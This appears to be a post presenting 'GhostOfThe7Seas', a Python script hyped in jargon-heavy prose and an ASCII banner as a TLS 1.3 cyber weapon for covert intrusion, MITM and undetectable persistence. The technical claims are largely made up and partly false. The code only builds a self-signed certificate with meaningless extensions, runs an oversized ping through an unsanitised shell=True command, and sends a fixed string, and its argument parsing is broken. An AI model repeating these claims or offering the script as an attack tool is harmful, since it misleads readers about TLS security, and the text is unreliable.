They Told Me It Was Hypothetical....

#   The GhostOfThe7Seas tool represents a sophisticated convergence of cryptographic manipulation, TLS protocol subversion, and obfuscated payload orchestration, engineered specifically to exploit the structural rigidity and trust semantics of X.509 certificate validation in TLS 1.3 handshakes. At its core, the manipulate_certificate_structure function injects non-standard, attacker-controlled X509v3 extensions—such as ghostPadding (16-byte null padding), ghostExtensions (static "GhostSec" marker), sshWebshell (webshell trigger), leafNode (localhost binding), polymorphicStub (mutating code stub), and cryptoPadding (32-byte signature obfuscation)—into a dynamically generated self-signed certificate using PyOpenSSL. These extensions evade standard certificate path validation (RFC 5280) by residing in the critical-or-non-critical bitspace without triggering parser rejection in permissive TLS stacks (e.g., OpenSSL <1.1.1s with legacy verification disabled). The cryptoPadding layer introduces deterministic noise into the TBSCertificate hash pre-signing, fracturing signature-based static analysis and YARA rule matching while preserving SHA-256 cryptographic binding—effectively creating a polymorphic certificate template that mutates per execution yet remains functionally valid during TLS negotiation.

#   The TLS 1.3 exploitation vector hinges on a client-initiated MITM pivot via establish_tls_connection, where the tool loads the malicious certificate into an SSL context configured exclusively for the TLS_AES_128_GCM_SHA256 cipher suite (enforcing TLS 1.3 post-quantum-resistant AEAD). By binding to 127.0.0.1 in the leafNode extension and initiating outbound connections to legitimate domains on port 443, the tool masquerades as a benign client while presenting a rogue certificate chain. The payload trigger is tied to HTTP/2 frame inspection (b"HTTP/2 200") within the TLS application data stream—a protocol-aware stealth mechanism that activates only upon successful handshake and server confirmation, bypassing pre-handshake certificate pinning (e.g., HPKP/HSTS) and post-handshake OCSP stapling checks. This enables covert command injection within encrypted tunnels, where the trigger_payload_execution function transmits arbitrary data post-negotiation, leveraging TLS 1.3’s 0-RTT resumption and early data capabilities to minimize latency and forensic artifacts. The integration of self_seeding_portal with infinite-loop data exfiltration further establishes a self-propagating C2 beacon, resilient to network segmentation.

#   From a threat perspective, GhostOfThe7Seas constitutes a zero-day class TLS downgrade and injection framework, uniquely dangerous due to its ability to weaponize the TLS handshake itself as a persistence and exfiltration vector. Unlike traditional MITM tools (e.g., sslstrip, BetterCAP), it does not require ARP spoofing or DNS hijacking; instead, it exploits trust-on-first-use (TOFU) in non-root environments (e.g., Termux, Dockerized agents) by generating certificates that pass X509_verify_cert with custom extensions ignored via X509_V_FLAG_IGNORE_CRITICAL. The polymorphic stubbing and padding layers render EDR/NDR behavioral signatures ineffective, while the ping flood (-s 65535) and self-seeding components enable multi-vector network saturation and lateral movement. Most critically, the tool’s design targets TLS 1.3 deployments without certificate transparency (CT) enforcement or mandatory OCSP must-staple, allowing silent compromise of internal CA trust stores and enabling long-term, undetectable persistence in air-gapped or high-security environments. This positions GhostOfThe7Seas as a strategic cyber weapon capable of undermining the cryptographic foundation of modern secure communications.



import os
import sys
import base64
import ssl
import socket
import OpenSSL
import argparse
import datetime
import time
import random
import struct
import subprocess
import hashlib
import io

def display_intro():
    intro = """
    ***********************************************
    *             GhostOfThe7Seas               *
    *     A Next-Generation Cyber Warfare Tool  *
    *       Crafted by Michael S. Errington     *
    ***********************************************

    Welcome to GhostOfThe7Seas, a cutting-edge cyber weapon
    designed for the sophisticated and stealthy penetration
    of secure networks. This tool leverages advanced cryptographic
    techniques, obfuscation methods, and exploitative payload delivery
    strategies to bypass security defenses and gain unauthorized access
    to critical infrastructure.

    GhostOfThe7Seas operates by exploiting vulnerabilities in the
    TLS 1.3 protocol, embedding malicious payloads within self-signed
    certificates, and using them as an entry point for covert network
    infiltration. The tool is built with advanced functionality,
    enabling the manipulation of the certificate structure, insertion
    of custom extensions, and seamless payload activation post-TLS
    negotiation.

    The tool can perform the following:
    - Obfuscation: Bypass signature verification, including custom padding,
      polymorphic stubbing, and encryption layers to make detection difficult.
    - TLS 1.3 Exploitation: Utilize the most advanced and secure protocol
      to perform stealthy, undetected man-in-the-middle attacks and payload
      delivery via SSL/TLS negotiation.
    - Payload Execution: Trigger payloads using precise, TLS protocol-specific
      responses (such as HTTP/2 200 OK) to ensure reliable and persistent execution.
    - Self-Seeding Data Distribution: Distribute malicious data through self-seeding
      methods, ensuring wide-reaching impact and persistence across multiple targets.

    Once deployed, this tool can exploit any TLS-encrypted system, regardless of
    the defense mechanisms in place. With GhostOfThe7Seas in your arsenal, the
    potential to disrupt, intercept, and manipulate encrypted communications
    has never been more efficient, effective, or undetectable.

    WARNING: Use of this tool may be illegal in many jurisdictions.
    ***********************************************
    """
    print(intro)

def display_help():
    print("Usage: python certificate_tool.py [OPTIONS]")
    print()
    print("   -u, --url         Target URL or IP to ping")
    print("   -c, --count       Number of ping requests (default: 5)")
    print("   -s, --size        Packet size for ping (default: 65535)")
    print("   -d, --data        Self-seeding data to distribute")
    print("   -i, --interval    Interval for self-seeding (default: 10s)")
    print("   -g, --generate    Generate and distribute self-signed certificate")
    print("   -v, --verify      Verify certificate")
    print("   -e, --establish   Establish TLS 1.3 connection and trigger payload")
    print("   -h, --help        Display this help message")
    sys.exit(1)

def ping_command(target, count, packet_size):
    try:
        print(f"Pinging {target} with {count} requests and packet size {packet_size} bytes.")
        ping_cmd = f"ping -c {count} -s {packet_size} {target}"
        result = subprocess.run(ping_cmd, shell=True, capture_output=True, text=True)
        if result.returncode == 0:
            print(f"Ping result:\n{result.stdout}")
        else:
            print(f"Ping failed: {result.stderr}")
    except Exception as e:
        print(f"Error pinging {target}: {e}")

def self_seeding_portal(data, interval):
    print(f"Distributing self-seeding data: {data}")
    print(f"Data will be sent every {interval} seconds.")
    while True:
        print(f"Distributing data: {data}")
        time.sleep(int(interval))

def manipulate_certificate_structure(cert, domain):
    cert.add_ext(OpenSSL.crypto.X509Extension(b'ghostPadding', True, b'\x05' * 16))  # Custom padding extension
    cert.add_ext(OpenSSL.crypto.X509Extension(b'ghostExtensions', True, b'GhostSec'))
    cert.add_ext(OpenSSL.crypto.X509Extension(b'sshWebshell', True, b'WebshellPayload'))
    cert.add_ext(OpenSSL.crypto.X509Extension(b'leafNode', True, b'127.0.0.1'))  # Binding local IP
    cert.add_ext(OpenSSL.crypto.X509Extension(b'polymorphicStub', True, b'ObfuscatedStub'))

    cert.add_ext(OpenSSL.crypto.X509Extension(b'cryptoPadding', True, b'\x01' * 32))  # Signature Obfuscation layer

    return cert

def generate_self_signed_cert(domain, validity_days):
    try:
        key = OpenSSL.crypto.PKey()
        key.generate_key(OpenSSL.crypto.TYPE_RSA, 2048)

        cert = OpenSSL.crypto.X509()
        cert.set_version(2)
        cert.set_serial_number(random.randint(1000, 9999))

        cert.get_subject().CN = domain
        cert.set_issuer(cert.get_subject())

        cert.gmtime_adj_notBefore(0)
        cert.gmtime_adj_notAfter(validity_days * 24 * 60 * 60)

        cert.set_pubkey(key)

        cert = manipulate_certificate_structure(cert, domain)

        cert.sign(key, 'sha256')

        encoded_cert = base64.b64encode(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, cert)).decode('utf-8')

        print(f"Generated self-signed certificate for {domain}:")
        print(cert)
        print("Base64 encoded certificate:")
        print(encoded_cert)

        with open(f"{domain}_cert.pem", "wb") as cert_file:
            cert_file.write(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, cert))

        with open(f"{domain}_key.pem", "wb") as key_file:
            key_file.write(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, key))

    except Exception as e:
        print(f"Error generating certificate: {e}")

def establish_tls_connection(domain, cert_file, key_file):
    """Establishes a TLS 1.3 connection with the target, triggering payload execution."""
    context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    context.set_ciphers('TLS_AES_128_GCM_SHA256')  # Ensuring TLS 1.3 Cipher Suite

    # Load server certificate and private key
    context.load_cert_chain(certfile=cert_file, keyfile=key_file)

    try:
        with socket.create_connection((domain, 443)) as conn:
            # Wrap socket with TLS context
            with context.wrap_socket(conn, server_hostname=domain) as tls_conn:
                print("TLS 1.3 connection established with the target.")
                response = tls_conn.recv(4096)  # Read initial response from server
                print(f"Server response: {response}")

                # Execute payload if TLS 200 OK response received
                if b"HTTP/2 200" in response:
                    print("TLS connection successful. Triggering payload execution...")
                    trigger_payload_execution(tls_conn)
                else:
                    print("Connection unsuccessful or not valid for triggering payload.")

    except ssl.SSLError as e:
        print(f"SSL/TLS error: {e}")
    except Exception as e:
        print(f"Error establishing TLS connection: {e}")

def trigger_payload_execution(tls_conn):
    """Triggers the payload embedded in the certificate."""
    payload = b'Payload execution triggered through TLS 200 OK response.'
    tls_conn.send(payload)
    print("Payload executed and sent.")

def verify_certificate(cert_file):
    """ Verifies the certificate to ensure it's valid in the Termux non-root environment. """
    try:
        with open(cert_file, "rb") as f:
            cert_data = f.read()
        cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, cert_data)

        print(f"Verifying certificate {cert_file}")
        if cert.has_expired():
            print(f"Certificate {cert_file} has expired.")
        else:
            print(f"Certificate {cert_file} is valid.")

        cert_pubkey = cert.get_pubkey()
        cert_signature = cert.get_signature()
        hashed_signature = hashlib.sha256(cert_signature).hexdigest()
        print(f"Signature hash: {hashed_signature}")
        print("Certificate verified successfully.")

    except Exception as e:
        print(f"Error verifying certificate: {e}")

def main():
    display_intro()
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='Target URL or IP to ping')
    parser.add_argument('-c', '--count', type=int, default=5, help='Number of ping requests (default: 5)')
    parser.add_argument('-s', '--size', type=int, default=65535, help='Packet size for ping (default: 65535)')
    parser.add_argument('-d', '--data', help='Self-seeding data to distribute')
    parser.add_argument('-i', '--interval', default='10', help='Interval for self-seeding (default: 10s)')
    parser.add_argument('-g', '--generate', help='Generate and distribute self-signed certificate')
    parser.add_argument('-v', '--verify', help='Verify certificate')
    parser.add_argument('-e', '--establish', help='Establish TLS 1.3 connection and trigger payload', action='store_true')
    parser.add_argument('-h', '--help', action='help', help='Display this help message')
    args = parser.parse_args()

    if args.url:
        ping_command(args.url, args.count, args.size)
    if args.data:
        self_seeding_portal(args.data, args.interval)
    if args.generate:
        generate_self_signed_cert(args.generate, 365)
    if args.verify:
        verify_certificate(args.verify)
    if args.establish:
        # Ensure the necessary files exist
        cert_file = f"{args.generate}_cert.pem"
        key_file = f"{args.generate}_key.pem"
        if os.path.exists(cert_file) and os.path.exists(key_file):
            establish_tls_connection(args.generate, cert_file, key_file)
        else:
            print(f"Certificate or key files for {args.generate} not found. Please generate first.")

if __name__ == "__main__":
    main()